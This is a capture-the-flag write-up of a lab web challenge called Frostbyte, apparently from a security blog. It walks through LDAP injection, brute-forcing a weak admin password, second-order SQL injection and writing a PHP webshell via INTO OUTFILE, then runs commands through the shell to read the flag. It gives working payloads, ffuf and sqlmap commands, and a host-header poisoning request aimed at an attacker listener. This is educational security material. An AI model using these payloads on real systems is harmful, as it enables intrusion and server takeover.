June 3, 2026
Frostbyte CTF writeup: chaining LDAP injection, password reuse, second-order SQLi to RCE
Platform: WebverseLabs CTF
Razzle Mouse ๐ญ
7 min read
Difficulty: Hard
Category: Web
Target: http://frostbyte.local
Flag: WEBVERSE{fr0st3d_xxxxxxxxxxxxxxxxxxxxxxxxxxx}
Four vulnerabilities. One chain. Frostbyte is a multi-stage web challenge built around a fictional tech consulting firm โ and none of the steps worked in isolation. Every finding only mattered because of what it unlocked next.
LDAP injection โ Password reuse โ Second-order SQLi โ INTO OUTFILE โ RCE + flagLDAP injection โ Password reuse โ Second-order SQLi โ INTO OUTFILE โ RCE + flagIntroduction
Two targets, one IP โ 10.100.0.30, port 80 only. It http://frostbyte.local is a public company site with an employee directory. It http://admin.frostbyte.local is an internal admin portal sitting behind a login form. No credentials. No obvious entry point. Just two domains and a challenge description that said nothing useful.
The full attack chain that eventually worked:
- Exploit LDAP injection in the employee directory to surface an admin account
- Brute the admin portal with weak credentials after the forgot-password flow went nowhere
- Exploit a second-order SQL injection in a stored display name field
- Use stacked queries and
INTO OUTFILEto drop a PHP webshell on the public site - Execute commands and read the flag
Reconnaissance
Starting recon was straightforward. The public site had an employee directory with /search a free-text lookup with visible results. No auth, no CAPTCHA. The admin portal http://admin.frostbyte.local had a login form and a forgot-password link. Nmap confirmed that only port 80 is open on the host.
Two things stood out immediately: the search endpoint was almost certainly LDAP-backed (employee directory lookups usually are), and the forgot-password flow was going to be interesting โ or useless. It turned out to be the latter.
Step 1 โ LDAP injection: the whole org on a plate
The employee search at /search took a free-text query. No filtering, no escaping. One character confirmed everything:
Search query: *Search query: *
All 50 employees returned. No auth required. But a full org dump wasn't the goal โ finding an admin account was. LDAP filter manipulation narrowed it down immediately:
*)(memberOf=*admin**)(memberOf=*admin*One result came back:
Name: Carol Winters
UID: c.winters
Email: c.winters@frostbyte.local
Role: CTO / AdminName: Carol Winters
UID: c.winters
Email: c.winters@frostbyte.local
Role: CTO / Admin
Carol was the only account with membership in both employees and admins. Valid username acquired. On to the portal.
Step 2 โ password reuse: hours lost, seconds to solve
Getting into it. It http://admin.frostbyte.local was supposed to be the hard part. It turned out to be the most embarrassing part.
First attempt: host header injection on the password reset
The forgot-password flow accepted Carol's email address and claimed it would send a reset link. Standard host header poisoning attack โ if the app builds the reset URL from the Host header, redirecting it to an attacker-controlled listener steals the token.
POST /forgot-password HTTP/1.1
Host: 10.8.0.127
X-Forwarded-Host: 10.8.0.127
X-Host: 10.8.0.127
X-Forwarded-Server: 10.8.0.127
email=c.winters@frostbyte.localPOST /forgot-password HTTP/1.1
Host: 10.8.0.127
X-Forwarded-Host: 10.8.0.127
X-Host: 10.8.0.127
X-Forwarded-Server: 10.8.0.127
email=c.winters@frostbyte.localThe listener was up. Tried every header variation โ Host, X-Forwarded-Host, X-Host, X-Forwarded-Server, Referer, combinations of all of them. Submitted the form repeatedly. Waited. Nothing came back. Hours went by chasing this.
"The container had no outbound connectivity to the VPN interface. Every callback attempt was going nowhere. The forgot-password route was a complete dead end."
Second attempt: weak password brute-force
After exhausting the reset flow, the only remaining option was guessing credentials. Ran through a short list of common weak patterns against the known username โ default combinations, username-as-password, simple variations:
ffuf -u http://admin.frostbyte.local/login \
-X POST \
-H "Content-Type: application/x-www-form-urlencoded" \
-d "username=c.winters&password=FUZZ" \
-w /tmp/passwords.txt \
-mc 302 \
-t 10 \
-cffuf -u http://admin.frostbyte.local/login \
-X POST \
-H "Content-Type: application/x-www-form-urlencoded" \
-d "username=c.winters&password=FUZZ" \
-w /tmp/passwords.txt \
-mc 302 \
-t 10 \
-c
c.winters:xxxxxxx โ 302 straight to /dashboard. Full admin access. After hours of chasing the wrong path.c.winters:xxxxxxx โ 302 straight to /dashboard. Full admin access. After hours of chasing the wrong path.Now I log in:
COOKIE=$(curl -si -X POST http://admin.frostbyte.local/login \
-H "Content-Type: application/x-www-form-urlencoded" \
-d "username=c.winters&password=c.winters" | grep "Set-Cookie" | grep -o 'frostbyte[^;]*')
echo $COOKIE COOKIE=$(curl -si -X POST http://admin.frostbyte.local/login \
-H "Content-Type: application/x-www-form-urlencoded" \
-d "username=c.winters&password=c.winters" | grep "Set-Cookie" | grep -o 'frostbyte[^;]*')
echo $COOKIE
The portal opened to four routes: /dashboard, /users, /profile, and /upload. The hard part wasn't getting in. The hard part was accepting that the answer was that simple.
Try username:username and a short weak-credential list before investing time in password reset exploitation. Host header injection requires outbound connectivity โ check network constraints first.Try username:username and a short weak-credential list before investing time in password reset exploitation. Host header injection requires outbound connectivity โ check network constraints first.Step 3 โ second-order SQLi: the injection that looked broken
Inside the portal, the /profile page had an editable Display Name field with a note that stopped me:
"Shown on /users and in audit logs."
Stored, then re-read by a different page. That's a second-order injection setup โ the payload goes in through one endpoint and fires through another. Injected a stacked query sleep payload into the display name and hit /users. No delay. Tried again. Still nothing. The injection looked completely dead.
The cache problem
The issue was simple once spotted: /users was returning a cached response. The database was never being queried at all. Adding Cache-Control: no-cache forced a fresh execution โ and everything changed:
curl -s -X POST http://admin.frostbyte.local/profile \
-H "Cookie: $COOKIE" \
--data-urlencode "display_name=test');SELECT SLEEP(5)#" \
--data-urlencode "bio=test"
time curl -s -H "Cookie: $COOKIE" \
-H "Cache-Control: no-cache" \
-H "Pragma: no-cache" \
"http://admin.frostbyte.local/users" > /dev/nullcurl -s -X POST http://admin.frostbyte.local/profile \
-H "Cookie: $COOKIE" \
--data-urlencode "display_name=test');SELECT SLEEP(5)#" \
--data-urlencode "bio=test"
time curl -s -H "Cookie: $COOKIE" \
-H "Cache-Control: no-cache" \
-H "Pragma: no-cache" \
"http://admin.frostbyte.local/users" > /dev/null
Now time to use SQLmap
sqlmap -u "http://admin.frostbyte.local/profile" \
--data="display_name=test&bio=test" \
--cookie="$COOKIE" \
-p "display_name" \
--second-url="http://admin.frostbyte.local/users" \
--dbms=mysql \
--level=5 \
--risk=3 \
--batch \
--technique=BEUS \
--dbs 2>&1 | tail -50sqlmap -u "http://admin.frostbyte.local/profile" \
--data="display_name=test&bio=test" \
--cookie="$COOKIE" \
-p "display_name" \
--second-url="http://admin.frostbyte.local/users" \
--dbms=mysql \
--level=5 \
--risk=3 \
--batch \
--technique=BEUS \
--dbs 2>&1 | tail -50
Confirmed. Stacked queries on MySQL 8.0. sqlmap verified the injection type and backend. The five-second delay was the green light for everything that followed.
Step 4 โ INTO OUTFILE: SQL to shell
UNION-based injection was a dead end โ column count mismatch between the injected query and the original. Stacked queries solved this entirely. Each stacked statement executes independently, so it INTO OUTFILE worked without caring about the original query's structure.
LOAD_FILE was blocked by secure_file_priv, so the web root had to be found through blind trial and error. Default Apache path โ /var/www/html โ was right.
curl -s -X POST http://admin.frostbyte.local/profile \
-H "Cookie: $COOKIE" \
-H "Content-Type: application/x-www-form-urlencoded" \
--data-urlencode $'display_name=test\');SELECT \'<?php system($_GET["cmd"]); ?>\' INTO OUTFILE \'/var/www/html/razzle.php\'#' \
--data-urlencode "bio=test" > /dev/null
curl -s -H "Cookie: $COOKIE" -H "Cache-Control: no-cache" "http://admin.frostbyte.local/users" > /dev/nullcurl -s -X POST http://admin.frostbyte.local/profile \
-H "Cookie: $COOKIE" \
-H "Content-Type: application/x-www-form-urlencoded" \
--data-urlencode $'display_name=test\');SELECT \'<?php system($_GET["cmd"]); ?>\' INTO OUTFILE \'/var/www/html/razzle.php\'#' \
--data-urlencode "bio=test" > /dev/null
curl -s -H "Cookie: $COOKIE" -H "Cache-Control: no-cache" "http://admin.frostbyte.local/users" > /dev/nullTrigger sent. Checked the public site:
curl -s "http://frostbyte.local/razzle.php?cmd=id"curl -s "http://frostbyte.local/razzle.php?cmd=id"
Shell confirmed. The webshell landed on the Apache-served public site โ directly reachable over HTTP.
Step 5 โ flag retrieval
curl -s "http://frostbyte.local/razzle.php?cmd=find+/+-name+flag.txt+2>/dev/null"
# โ /home/frostbyte/flag.txt
curl -s "http://frostbyte.local/razzle.php?cmd=find+/+-name+flag.txt+2>/dev/null"
# โ /home/frostbyte/flag.txt
curl -s "http://frostbyte.local/razzle.php?cmd=cat+/home/frostbyte/flag.txt"
curl -s "http://frostbyte.local/razzle.php?cmd=cat+/home/frostbyte/flag.txt"
# โ WEBVERSE{fr0st3d_xxxxxxxxxxxxxxxxxxx}# โ WEBVERSE{fr0st3d_xxxxxxxxxxxxxxxxxxx}The embarrassing miss:
The LDAP wildcard fired on the first try. Carol Winters. UID c.winters. The admin portal was literally one credential check away from the start.
Instead, I sank hours into the forgot-password flow. Tried poisoning the Host header, then X-Forwarded-Host, then X-Host, then X-Forwarded-Server, then the Referer. Submitted the form dozens of times. Tried different ports on the listener. Changed the payload format. Nothing ever came back โ because the container had zero outbound connectivity to the VPN interface. The entire attack surface I was targeting didn't exist.
When I finally gave up on the reset flow and just tried weak passwords, it c.winters:xxxxxxx worked on the sixth attempt. Hours of work, undone in a six-item list.
Same pattern hit again in Step 3. The second-order injection payload was executing fine โ the database was responding, the sleep was running. I just couldn't see it because it /users was serving a cached page. Spent a long time convinced the injection wasn't working, testing different payloads, checking syntax. One header fixed it: Cache-Control: no-cache.
Both times, the vulnerability was already there and working. I was just looking in the wrong place.
Key takeaways
1.) LDAP wildcard injection exposes everything
A single * against an unsanitised LDAP search dumps the full org. Filter manipulation like *)(memberOf=*admin* narrows it to privileged accounts in one shot.
2.) Check network constraints before chasing password reset attacks
Host header injection requires outbound connectivity. If the container is isolated, no callback will ever arrive. Verify the network setup before investing hours in the approach.
3.) Weak credential lists catch what complexity misses
After a dead-end reset flow, a short list of username-based passwords found the valid credential immediately. Always run the obvious list before building exploit infrastructure.
4.) Second-order SQLi hides behind response caching
The payload was executing the entire time correctly. A cached page was masking the delay. It Cache-Control: no-cache is a required test step for any stored injection โ always bypass the cache before concluding the injection is dead.
5.) Stacked queries unlock INTO OUTFILE where UNION fails
UNION injection couldn't write files โ column count mismatch. Stacked queries execute an entirely independent statement, bypassing the constraint and opening up INTO OUTFILE for shell writes.
6.) secure_file_priv pointing at the web root defeats itself
It was configured to restrict writes to /var/www/html as a "safe" path โ but that directory is Apache-served and PHP-capable. Writing a shell there made it immediately executable over HTTP.
Wrap-up
Frostbyte is a clean demonstration of how ordinary misconfigurations chain into a full compromise. No exotic CVEs โ just an unsanitised LDAP query that handed over the admin username, a weak password that handed over the portal, a stored injection point nobody tested with cache bypassed, and a MySQL file privilege pointed directly at the web root.
Each step was individually simple. What made it a hard challenge was that none of them were obvious until the previous one was solved. And the biggest time sinks weren't the vulnerabilities themselves โ they were the wrong paths taken before finding them.
The lesson from Frostbyte isn't about the attack chain. It's about recognising when to stop overcomplicating things and try the obvious move first.